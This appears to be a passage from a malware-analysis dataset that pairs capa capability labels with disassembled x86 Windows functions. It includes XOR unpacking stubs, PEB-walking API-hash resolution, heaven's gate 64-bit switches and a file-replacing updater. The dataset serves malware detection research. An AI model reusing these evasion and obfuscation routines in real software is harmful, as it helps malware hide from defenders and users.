joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Create process on windows
Delete file
Move file
Terminate process

Disassembly:
sub esp, 0x500
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp]
push 0x100
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dl, byte [esp + eax - 2]
sub eax, 2
mov cl, 0x5c
cmp dl, cl
je 0x401041
mov dl, byte [esp + eax - 1]
dec eax
cmp dl, cl
jne 0x401038
push ebx
push ebp
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [esp + 0xc]
push edi
mov byte [esp + eax + 0x11], 0
push edx
lea eax, [esp + 0x114]
push str._sQuic.exe
push eax
xor ebx, ebx
call esi
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x21c]
push ecx
push str._sQuic.exe.old
push edx
call esi
lea eax, [esp + 0x28]
lea ecx, [esp + 0x428]
push eax
push str._sQuic.exe.new
push ecx
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileA]
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, dword [sym.imp.KERNEL32.dll_ExitProcess]
add esp, 0x24
lea edx, [esp + 0x210]
lea eax, [esp + 0x110]
push edx
push eax
inc ebx
call ebp
test eax, eax
jne 0x4010e0
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 0x14
jle 0x4010a3
push 0x10
push str.Quic_Agent
push str.Could_not_rename_file_Quic.exe.
push 0
call edi
push 0
call esi
jmp 0x4010a3
lea ecx, [esp + 0x110]
lea edx, [esp + 0x410]
push ecx
push edx
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40114c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x314]
push str.Failure_to_rename_new_Quic_file.__Restoring_old_file._r_n_r_nGetLastError___returned__d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [esp + 0x310]
push 0x10
push str.Quic_Agent
push ecx
push 0
call edi
lea edx, [esp + 0x110]
lea eax, [esp + 0x210]
push edx
push eax
call ebp
lea ecx, [esp + 0x410]
push ecx
call ebx
push 0
call esi
push 5
push 0
lea edx, [esp + 0x118]
push 0
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
ja 0x4011b6
push eax
lea eax, [esp + 0x314]
push str.Failure_to_launch_new_Quic_file.__The_old_file_will_be_restored._r_n_r_nShellExecute___returned__d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [esp + 0x310]
push 0x10
push str.Quic_Agent
push ecx
push 0
call edi
lea edx, [esp + 0x110]
push edx
call ebx
lea eax, [esp + 0x110]
lea ecx, [esp + 0x210]
push eax
push ecx
call ebp
push 0
call esi
lea edx, [esp + 0x210]
push edx
call ebx
push 0
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x500
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x441004]
jne 0x40100a
repz ret
jmp fcn.004014ed

Function at 0x407a15
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404c04
and dword [ebp - 4], 0
cmp dword [0x443c9c], 0
mov ebx, eax
jne 0x407ac6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x407b77
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x407b77
push eax
call fcn.00404b92
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x443c9c], eax
call esi
push eax
call fcn.00404b92
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x443ca0], eax
call esi
push eax
call fcn.00404b92
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x443ca4], eax
call esi
push eax
call fcn.00404b92
pop ecx
mov dword [0x443cac], eax
test eax, eax
je 0x407ac6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404b92
pop ecx
mov dword [0x443ca8], eax
mov eax, dword [0x443ca8]
cmp eax, ebx
je 0x407b1e
cmp dword [0x443cac], ebx
je 0x407b1e
push eax
call fcn.00404c0d
push dword [0x443cac]
mov esi, eax
call fcn.00404c0d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x407b1e
test edi, edi
je 0x407b1e
call esi
test eax, eax
je 0x407b15
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407b15
test byte [ebp - 0xc], 1
jne 0x407b1e
or dword [ebp + 0x10], 0x200000
jmp 0x407b57
mov eax, dword [0x443ca0]
cmp eax, ebx
je 0x407b57
push eax
call fcn.00404c0d
pop ecx
test eax, eax
je 0x407b57
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x407b57
mov eax, dword [0x443ca4]
cmp eax, ebx
je 0x407b57
push eax
call fcn.00404c0d
pop ecx
test eax, eax
je 0x407b57
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x443c9c]
call fcn.00404c0d
pop ecx
test eax, eax
je 0x407b77
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x407b79
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409ba0
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [0x272bcb4], 0x930
jne 0x409bbd
push 0x43f844
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
cmp dword [0x272bcb4], 0x114e
mov eax, dword [ebp + 8]
mov dword [0x272baf8], eax
jne 0x409be3
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov esp, ebp
pop ebp
ret
Function at 0x411d9d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x411dac
pop dword [ebp - 0x34]
mov eax, 0x2755a2eb
add eax, 0xd8eb7ac1
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x3e872
push 0
mov eax, 0x99795de
add eax, 0xf6aabc3a
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0xc2786500
add ecx, 0x3d87e39d
xor edi, edi
add edi, eax
mov ebx, 0xe8d18bca
add ebx, 0x1771c836
add ebx, dword [ebp - 0x34]
mov edx, 0x9977e355
sub edx, 0x1e868d66
mov dword [ebp - 8], 0xb014174a
mov esi, dword [ebx]
add dword [ebp - 0x18], esi
xor esi, edx
xor dword [ebp - 0xc], 0x64eed18c
mov dword [edi], esi
xor dword [ebp - 0x10], eax
add edi, 0x462bb58e
sub edi, 0x462bb58a
add ebx, 0x980e9838
add ebx, 0x67f167cc
loop 0x411e0d
add eax, 0xa8536330
sub eax, 0xa8524de9
mov ebx, eax
add eax, 0x7eb17f7f
add eax, 0x814e8086
mov ecx, 0x7f98ac0c
sub ecx, 0x7f58ac0c
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x4a8249
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
call fcn.004e9ac3
push 2
lea ecx, [ebp - 4]
push ecx
mov eax, dword [eax + 0x14]
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x4a8288
sub eax, 1
je 0x4a8283
sub eax, 1
je 0x4a827f
xor eax, eax
leave
ret
push 3
jmp 0x4a828a
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret
Function at 0x4f36ea
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x568d30]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4f372a
cmp byte [ebx], 0xa
jne 0x4f372a
or byte [eax + edi + 0x28], 4
jmp 0x4f372f
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4f382d
mov al, byte [edx]
cmp al, 0x1a
je 0x4f380f
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4f375e
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4f3783
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4f378d
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x4f3740
jmp 0x4f382d
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4f380a
cmp dword [ebp - 0xc], 0
je 0x4f380a
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x568d30]
test byte [eax + edi + 0x28], 0x48
je 0x4f37e4
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4f37cf
mov byte [esi], dl
jmp 0x4f37e0
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x568d30]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4f382d
cmp byte [ebp - 1], 0xa
jne 0x4f37f3
cmp esi, ebx
jne 0x4f37f3
mov byte [esi], 0xa
jmp 0x4f382c
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004f49cb
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4f382d
mov byte [esi], 0xd
jmp 0x4f382c
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x568d30]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4f3829
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4f382d
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x348bf117
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x348bf126
pop dword [ebp - 0x48]
mov eax, 0xbe15a911
add eax, 0x76764815
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xa0f612e
add dword [ebp - 0x58], 0x4442e41d
mov dword [ebp - 0x54], 0xe6e91b64
add dword [ebp - 0x54], 0x4b4a30e1
mov dword [ebp - 0x50], 0x76913b82
add dword [ebp - 0x50], 0xd5bb08ac
mov dword [ebp - 0x4c], 0x852aa07a
sub dword [ebp - 0x4c], 0x852aa07a
lea eax, [ebp - 0x58]
push eax
mov eax, 0x40cfcce4
sub eax, 0xc46bb98
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x213c83b3
add dword [ebp - 0x58], 0x5335e5a3
mov dword [ebp - 0x54], 0xb5ef7ebb
add dword [ebp - 0x54], 0x8b7ce2ba
mov dword [ebp - 0x50], 0x9834202a
add dword [ebp - 0x50], 0xcb3b4c42
mov dword [ebp - 0x4c], 0xd45c81ec
sub dword [ebp - 0x4c], 0xd45c81ec
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x37a99
push 0
call eax
mov ecx, 0xc11380b0
add ecx, 0x3eecc6cc
mov ebx, eax
mov esi, 0xe086052a
add esi, 0x5408ead6
add esi, dword [ebp - 0x48]
mov edi, 0xe7d2dc6a
add edi, 0xbae979ab
xor dword [ebp - 0x20], edi
mov edx, dword [esi]
add dword [ebp - 4], ebx
sub edx, edi
sub dword [ebp - 0x28], edx
mov dword [ebx], edx
xor dword [ebp - 0x14], edi
add ebx, 4
add esi, 0xfb8e3d1e
sub esi, 0xfb8e3d1a
loop 0x348bf243
add eax, 0x90dd189d
add eax, 0x6f23f826
xor ebx, ebx
add ebx, eax
add eax, 0x6c9643e4
add eax, 0x9369bc21
mov ecx, 0x34890000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x28280e3d
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x3c16450e
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x40ce0a
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push edi
push esi
lea edx, [6]
push edx
mov edi, 0x4ee
shr edi, 8
push edi
pop dword [0x42499a]
push 0x424b96
mov ebx, 0x482
and ebx, 0xff
or ebx, ebx
jne 0x40ce3f
shl ebx, 6
mov dword [ebp - 0x30], ebx
push 0x60
jmp loc.00462570
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x7adc6742
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x16994611
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x404506
Capabilities:
Access peb ldr_data

Disassembly:
xor eax, eax
pushal
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov edi, ebx
mov esi, dword [ebx + 0x28]
xor eax, eax
xor edx, edx
mov ecx, dword [esi]
test cx, cx
je 0x404553
mov al, cl
cmp al, 0x61
jb 0x40452e
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
shr ecx, 0x10
test cx, cx
je 0x404553
mov al, cl
cmp al, 0x61
jb 0x404546
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
lea esi, [esi + 4]
jmp 0x40451f
cmp edx, dword [esp + 0x18]
je 0x404563
mov ebx, dword [ebx]
cmp edi, dword [ebx]
jne 0x404518
xor eax, eax
jmp 0x404566
mov eax, dword [ebx + 0x10]
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x40456e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
pushal
mov ebx, ecx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
test eax, eax
je 0x404655
lea esi, [ebx + eax]
test edx, 0xffff0000
je 0x40465b
mov ecx, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
lea edi, [ebx + edi]
mov ebp, dword [edi + ecx*4 - 4]
lea ebp, [ebx + ebp]
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x4045ba
cmp al, 0x61
jb 0x4045b2
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x4045a5
cmp edx, dword [esp + 0x14]
je 0x4045ca
dec ecx
jne 0x40459a
xor eax, eax
jmp 0x404655
mov edx, dword [esi + 0x24]
lea edx, [ebx + edx]
mov edx, dword [edx + ecx*2 - 2]
and edx, 0xffff
mov eax, dword [esi + 0x1c]
lea eax, [ebx + eax]
mov eax, dword [eax + edx*4]
lea eax, [ebx + eax]
cmp eax, esi
jbe 0x404655
mov ecx, dword [ebx + 0x3c]
mov ecx, dword [ebx + ecx + 0x7c]
add esi, ecx
cmp eax, esi
jae 0x404655
mov ebp, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
cmp al, 0x61
jb 0x404606
sub al, 0x20
ror edx, 0xd
add edx, eax
ror edx, 0xd
inc ebp
cmp al, 0x2e
je 0x404615
jmp 0x4045fd
ror edx, 0xd
add edx, 0x44
ror edx, 0x1a
add edx, 0x4c
ror edx, 0x1a
add edx, 0x4c
ror edx, 0xd
mov ecx, edx
call fcn.00404506
test eax, eax
je 0x404655
mov ecx, eax
xor eax, eax
xor edx, edx
mov al, byte [ebp]
test al, al
je 0x404650
cmp al, 0x61
jb 0x404648
sub al, 0x20
ror edx, 0xd
add edx, eax
inc ebp
jmp 0x40463b
call fcn.0040456e
mov dword [esp + 0x1c], eax
popal
ret
mov ecx, dword [esi + 0x10]
cmp edx, ecx
jb 0x404673
mov eax, dword [esi + 0x14]
dec eax
cmp edx, eax
ja 0x404673
sub edx, ecx
mov ecx, edx
jmp 0x4045ca
xor eax, eax
jmp 0x404655

Function at 0x409de1
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x43cc13]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x409e1c
add dword [esp], 5
retf

Function at 0x409edf
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x43cc13]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x409f1a
add dword [esp], 5
retf
Function at 0x409f6c
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x43cc13]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x409fa7
add dword [esp], 5
retf

Function at 0x40a064
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x43cc13]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x40a09f
add dword [esp], 5
retf

Function at 0x40a126
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x43cc13]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x40a161
add dword [esp], 5
retf

Function at 0x40a1f3
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
mov dword [ebp - 4], 0
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x40a21f
add dword [esp], 5
retf

Function at 0x40a2b2
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x43cc13]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x40a2ed
add dword [esp], 5
retf

Function at 0x40b41d
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x43cc13]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x40b458
add dword [esp], 5
retf

Function at 0x415daf
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x43cc13]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x415dea
add dword [esp], 5
retf

Function at 0x4162e3
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [0x43cc13]
mov dword [ebp - 8], eax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
and esp, 0xfffffff0
push 0x33
call 0x41631e
add dword [esp], 5
retf

Function at 0x41a064
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push 0x33
call 0x41a06e
add dword [esp], 5
retf
Function at 0x41d950
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.0043502e
test eax, eax
jne 0x41d9ea
push str.Fatal_Error:_MFC_initialization_failed
push 0x44f4b0
call fcn.0041dc70
add esp, 8
mov esi, eax
mov ecx, esi
push 0xa
call fcn.0041da10
mov eax, dword [esi]
xor edi, edi
mov ecx, dword [eax + 4]
lea eax, [ecx + esi]
mov cl, byte [ecx + esi + 4]
test cl, 6
jne 0x41d9be
mov eax, dword [eax + 0x28]
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, 0xffffffff
jne 0x41d9be
mov edi, 4
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
test edi, edi
je 0x41d9df
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 0x28]
or eax, edi
test edx, edx
jne 0x41d9d7
or al, 4
push 0
push eax
call fcn.0042ee63
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0041df40
mov dword [0x440d4c], esp
mov dword [0x440d50], ebp
call fcn.0041d6cc
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41e350
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x20
push ebx
push esi
push edi
lea ecx, [esp + 0x18]
call fcn.004208b0
lea eax, [esp + 0x10]
mov dword [esp + 0x18], 0x437384
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
test edi, edi
mov dword [esp + 0x14], edi
je 0x41e412
mov ecx, dword [esp + 0x10]
mov eax, 1
cmp ecx, eax
mov dword [esp + 0xc], eax
jle 0x41e40b
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ebx, [edi + 4]
mov ecx, dword [ebx]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ecx
push 0
push 0x3a8
call ebp
mov esi, eax
test esi, esi
jle 0x41e3f6
lea edx, [esi + 1]
push edx
call fcn.0041e120
mov edi, eax
add esp, 4
test edi, edi
je 0x41e3e8
mov eax, dword [ebx]
push 0
push 0
push esi
push edi
push 0xffffffffffffffff
push eax
push 0
push 0x3a8
call ebp
mov byte [eax + edi], 0
push edi
lea ecx, [esp + 0x20]
call fcn.00420b40
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
inc eax
add ebx, 4
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x41e3a2
pop ebp
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ebx, dword [esp + 0x34]
mov eax, dword [ebx]
test eax, eax
je 0x41e425
push eax
call fcn.00420ce0
add esp, 4
mov edi, dword [esp + 0x28]
shr edi, 2
shl edi, 2
lea ecx, [edi + 8]
push ecx
call fcn.0041e120
mov dword [eax], 1
mov edx, dword [esp + 0x2c]
shr edx, 2
mov dword [eax + 4], edx
mov esi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
add esp, 4
neg esi
sbb esi, esi
and esi, ecx
mov ecx, edi
mov edx, ecx
lea edi, [eax + 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
mov dword [ebx], eax
mov dword [esp + 0x18], 0x437380
call fcn.00420ab0
pop edi
pop esi
pop ebx
add esp, 0x20
ret